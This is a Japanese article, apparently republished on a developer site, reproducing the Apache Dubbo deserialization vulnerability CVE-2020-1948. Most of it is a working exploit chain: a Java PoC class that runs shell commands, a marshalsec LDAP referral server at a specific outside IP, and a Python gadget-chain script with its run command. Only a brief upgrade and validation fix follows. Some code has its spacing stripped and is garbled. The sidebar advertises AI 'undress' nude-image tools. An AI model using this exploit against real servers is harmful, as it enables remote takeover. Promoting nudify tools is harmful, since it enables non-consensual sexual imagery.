目次
はじめに
概要
影響を受けるバージョン
環境セットアップ
バージョン 2.7.7 にアップグレードし、次のリンクの方法に従ってパラメータ検証を実行します
ホームページ 運用・保守 安全性 Apache Dubbo デシリアライゼーションの脆弱性を分析する方法

Apache Dubbo デシリアライゼーションの脆弱性を分析する方法

May 17, 2023 pm 04:01 PM
dubbo

はじめに

Dubbo は、Alibaba がオープンソース化した高性能で優れたサービス フレームワークです。これにより、アプリケーションは高性能 RPC を通じてサービスの出力および入力機能を実現でき、Spring フレームワークとシームレスに統合できます。 。このシステムには、リモート インターフェイス メソッドの呼び出し、インテリジェントなフォールト トレランスと負荷分散、サービスの自動登録と検出を含む 3 つのコア機能があります。

概要

2020 年 6 月 23 日、Apache Dubbo は、Apache Dubbo のリモート コード実行に関するリスク通知を正式にリリースしました。脆弱性番号は CVE-2020-1948、脆弱性レベルは高です。危険。 Apache Dubbo は、高性能で軽量のオープン ソース Java RPC フレームワークで、インターフェイス指向のリモート メソッド呼び出し、インテリジェントなフォールト トレランスと負荷分散、自動サービス登録と検出という 3 つのコア機能を提供します。 Apache Dubbo Provider には逆シリアル化の脆弱性があります。攻撃者は、RPC リクエストを通じて、認識できないサービス名またはメソッド名と一部の悪意のあるパラメータ ペイロードを送信することができます。悪意のあるパラメータが逆シリアル化されると、リモートでコードが実行される可能性があります。

影響を受けるバージョン

Dubbo 2.7.0 - 2.7.6 Dubbo 2.6.0 - 2.6.7 Dubbo 2.5.x (正式にメンテナンスは終了)

環境セットアップ

実行環境とコンパイルされた exp 環境の JDK バージョンは両方とも 8u121 です。テスト環境を開始します

java -jar dubbo.jar
ログイン後にコピー


#起動後はポート 12345 をリッスンします

脆弱性の再発

サービス フィンガープリント:


PORT      STATE SERVICE VERSION12345/tcp opentextui  Alibaba Dubbo remoting telnetd
ログイン後にコピー
POC を構築します。ここで ping コマンドを実行してコマンドが実行できるかどうかを確認し、新しい POC を作成しますcalc.java、

importjavax.naming.Context;
importjavax.naming.Name;
importjavax.naming.spi.ObjectFactory;
importjava.util.Hashtable;
publicclasscalc implementsObjectFactory{@OverridepublicObjectgetObjectInstance(Objectobj,Namename,ContextnameCtx,Hashtable<?,?>environment)throwsException{Runtime.getRuntime().exec("ping test.sr3uwk.ceye.io");
returnnull;
}}
ログイン後にコピー


Compile poc

javac calc.java
ログイン後にコピー


コンパイルされた poc (calc.class) を Web に配置します。 Web サイトのディレクトリにアクセスして、marshalsec プロジェクトを使用して LDAP プロキシ サービスを開始できることを確認します。marshalsec をダウンロードします。

https://github.com/RandomRobbieBF/marshalsec-jar/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar
ログイン後にコピー


LDAP プロキシ サービスを開始します。これを実行します。コマンドを実行すると、LDAP サービスはポート 8086 をリッスンします


 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServerhttp://139.9.198.30/#calc 8086
ログイン後にコピー


#テスト スクリプトを実行します。ここでのテストで使用される Python 環境は 3.8 です。 .0. 最初に依存関係パッケージをインストールします

python3 -m pip install dubbo-py
ログイン後にコピー


スクリプト コンテンツ (Dubbo.py):

# -*- coding: utf-8 -*-importsysfromdubbo.codec.hessian2 importDecoder,new_objectfromdubbo.client importDubboClientiflen(sys.argv)<4:print(&#39;Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL&#39;.format(sys.argv[0]))print(&#39;\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp&#39;.format(sys.argv[0]))sys.exit()client =DubboClient(sys.argv[1],int(sys.argv[2]))JdbcRowSetImpl=new_object(&#39;com.sun.rowset.JdbcRowSetImpl&#39;,dataSource=sys.argv[3],strMatchColumns=["foo"])JdbcRowSetImplClass=new_object(&#39;java.lang.Class&#39;,name="com.sun.rowset.JdbcRowSetImpl",)toStringBean=new_object(&#39;com.rometools.rome.feed.impl.ToStringBean&#39;,beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl  )resp =client.send_request_and_return_response(service_name=&#39;org.apache.dubbo.spring.boot.sample.consumer.DemoService&#39;,# 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。method_name=&#39;$invoke&#39;,args=[toStringBean])output =str(resp)if&#39;Fail to decode request due to: RpcInvocation&#39;inoutput:print(&#39;[!] Target maybe not support deserialization.&#39;)elif&#39;EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()&#39;inoutput:print(&#39;[+] Succeed.&#39;)else:print(&#39;[!] Output:&#39;)print(output)print(&#39;[!] Target maybe not use dubbo-remoting library.&#39;)
ログイン後にコピー


スクリプトを実行します

python3 Dubbo.py 192.168.137.17312345ldap://139.9.198.30:8086/calc
ログイン後にコピー


dnslog を確認し、リクエストを正常に受信します。

怎么进行Apache Dubbo反序列化漏洞的分析怎么进行Apache Dubbo反序列化漏洞的分析ldap サービスではリクエストの転送も確認できます。

怎么进行Apache Dubbo反序列化漏洞的分析Bomb Calculator

import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable;  public class calc implements ObjectFactory {      @Override     public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {        Runtime.getRuntime().exec("calc");        return null;    } }
ログイン後にコピー

脆弱性修正

バージョン 2.7.7 にアップグレードし、次のリンクの方法に従ってパラメータ検証を実行します

https://github. com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de

#プロトコルと逆シリアル化方法を変更します。

以上がApache Dubbo デシリアライゼーションの脆弱性を分析する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

AI Hentai Generator

AI Hentai Generator

AIヘンタイを無料で生成します。

ホットツール

メモ帳++7.3.1

メモ帳++7.3.1

使いやすく無料のコードエディター

SublimeText3 中国語版

SublimeText3 中国語版

中国語版、とても使いやすい

ゼンドスタジオ 13.0.1

ゼンドスタジオ 13.0.1

強力な PHP 統合開発環境

ドリームウィーバー CS6

ドリームウィーバー CS6

ビジュアル Web 開発ツール

SublimeText3 Mac版

SublimeText3 Mac版

神レベルのコード編集ソフト(SublimeText3)

SpringBoot+Dubbo+Nacos開発実践チュートリアル SpringBoot+Dubbo+Nacos開発実践チュートリアル Aug 15, 2023 pm 04:49 PM

この記事では、dubbo+nacos+Spring Boot の実際の開発について詳しく説明する例を書きます。この記事では理論的な知識はあまり取り上げませんが、dubbo を nacos と統合して開発環境を迅速に構築する方法を説明する最も簡単な例を書きます。

Javaベースの分散サービスフレームワークDubboの原理と事例分析 Javaベースの分散サービスフレームワークDubboの原理と事例分析 Apr 24, 2023 pm 08:13 PM

はじめに Dubbo を紹介する前に、基本的な概念を理解しましょう: Dubbo は RPC フレームワークです. RPC は Remote Procedure Call (リモート プロシージャ コール) です. その反対はローカル プロシージャ コールです. 分散アーキテクチャの前に単一アプリケーション アーキテクチャと垂直アプリケーション アーキテクチャで使用されますこれらはすべてローカル プロシージャ コールです。これにより、プログラマがリモート呼び出しの詳細を明示的にコーディングすることなく、プログラムが別のアドレス空間 (通常はネットワーク上で共有される別のマシン) にあるプロシージャまたは関数を呼び出すことができます。分散アーキテクチャ アプリケーション間のリモート呼び出しには、ローカル呼び出しと同じくらい単純なリモート呼び出しを行うための RPC フレームワークが必要です。 Dubbo フレームワークには、リモート サービスを呼び出す次のコンポーネント Consumer があります。

Dubbo ソースコード分析: 初心者ガイド Dubbo ソースコード分析: 初心者ガイド Aug 23, 2023 pm 02:44 PM

すでに Dubbo の使用に熟練している場合、この記事は適していませんが、Dubbo を理解し、Dubbo を学習したい場合には、この記事は非常に適しています。

Dubbo が Go で書き直されるのはなぜですか? Dubbo が Go で書き直されるのはなぜですか? Apr 10, 2023 pm 12:51 PM

[[443126]] いくつかの言葉から始めましょう。私は歩いているときによく技術的な「なぜ質問」をたくさん考えます。時々、質問について長い間考え、納得できるまで質問が終わらないことがあります。質問のあらゆる点について私自身が説明します。そこで、その思いを記録し、新たなシリーズとして記事にしたいと思います。これらの記事ではコードを見ることはできないかもしれませんが、見落とされがちないくつかの問題と、問題のより深い「理由」を垣間見ることができます。今日は最初の記事をお届けします、なぜ Dubbo を Go で書き直す必要があるのですか? Dubbo は Alibaba で生まれ、2011 年にオープンソース化されましたが、10 年が経ちました。 2019 年に Go で書き直されてオープンソース化され、2 年後の現在はオリジナルの V1.0.0 バージョンから V3.0.0 に開発されています。

Apache Dubbo デシリアライゼーションの脆弱性を分析する方法 Apache Dubbo デシリアライゼーションの脆弱性を分析する方法 May 17, 2023 pm 04:01 PM

はじめに Dubbo は、Alibaba がオープンソース化した高性能で優れたサービス フレームワークであり、アプリケーションが高性能 RPC を通じてサービス出力および入力機能を実現でき、Spring フレームワークとシームレスに統合できます。これは、インターフェイス指向のリモート メソッド呼び出し、インテリジェントなフォールト トレランスと負荷分散、自動サービス登録と検出という 3 つのコア機能を提供します。概要 2020 年 6 月 23 日に、ApacheDubbo は ApacheDubbo のリモート コード実行に関するリスク通知を正式にリリースし、脆弱性番号は CVE-2020-1948、脆弱性レベルは「高リスク」です。 ApacheDubbo は、高性能かつ軽量のオープンソース JavaRPC フレームワークであり、次の 3 つのコア機能を提供します。

素晴らしい説明: Dubbo はすでに Go 言語をサポートしていますか? 素晴らしい説明: Dubbo はすでに Go 言語をサポートしていますか? Mar 25, 2024 am 09:42 AM

読者の皆様、今日は Dubbo の Go 言語について説明する記事をお届けします。 Dubbo は優れた分散サービス フレームワークとして広く使用されており、Java 言語でサポートされています。近年の Go 言語の急速な発展に伴い、多くの開発者は Dubbo がすでに Go 言語をサポートしているかどうかに強い関心を持っています。この記事では、Dubbo の Go 言語サポート、具体的な実装方法、コード例について詳しく説明します。

Java Spring Dubbo の 3 つの SPI メカニズムの違いは何ですか Java Spring Dubbo の 3 つの SPI メカニズムの違いは何ですか May 16, 2023 am 08:34 AM

SPIは何に使われますか?たとえば、私たちは新しいロギング フレームワーク「スーパーロガー」を設計しました。デフォルトでは、XML ファイルがログの構成ファイルとして使用され、構成ファイル解析用のインターフェースが設計されています: packagecom.github.kongwu.spisamples; publicinterfaceSuperLoggerConfiguration{voidconfigure(StringconfigFile);} 次に、デフォルトの XML 実装があります: packagecom .github .kongwu.spisamples;publiccl

DubboにおけるRedisの応用について詳しく解説 DubboにおけるRedisの応用について詳しく解説 Jun 20, 2023 am 10:09 AM

インターネットの継続的な発展に伴い、分散アーキテクチャは最新のアプリケーション開発の標準の 1 つになりました。このタイプのアーキテクチャでは、分散トランザクションを効率的に処理することが必要なスキルになります。 Redis はメモリベースのキャッシュ データベースとして、分散アプリケーションで広く使用されています。分散アプリケーションでは、Dubbo がサービス フレームワークとして使用され、Redis がデータ サポートを提供するキャッシュ データベースとして使用されます。これにより、高いサービス パフォーマンスを確保しながら高速なデータの読み取りと書き込みが可能になります。この記事では、Du での Redis の使用方法を詳しく紹介します。

See all articles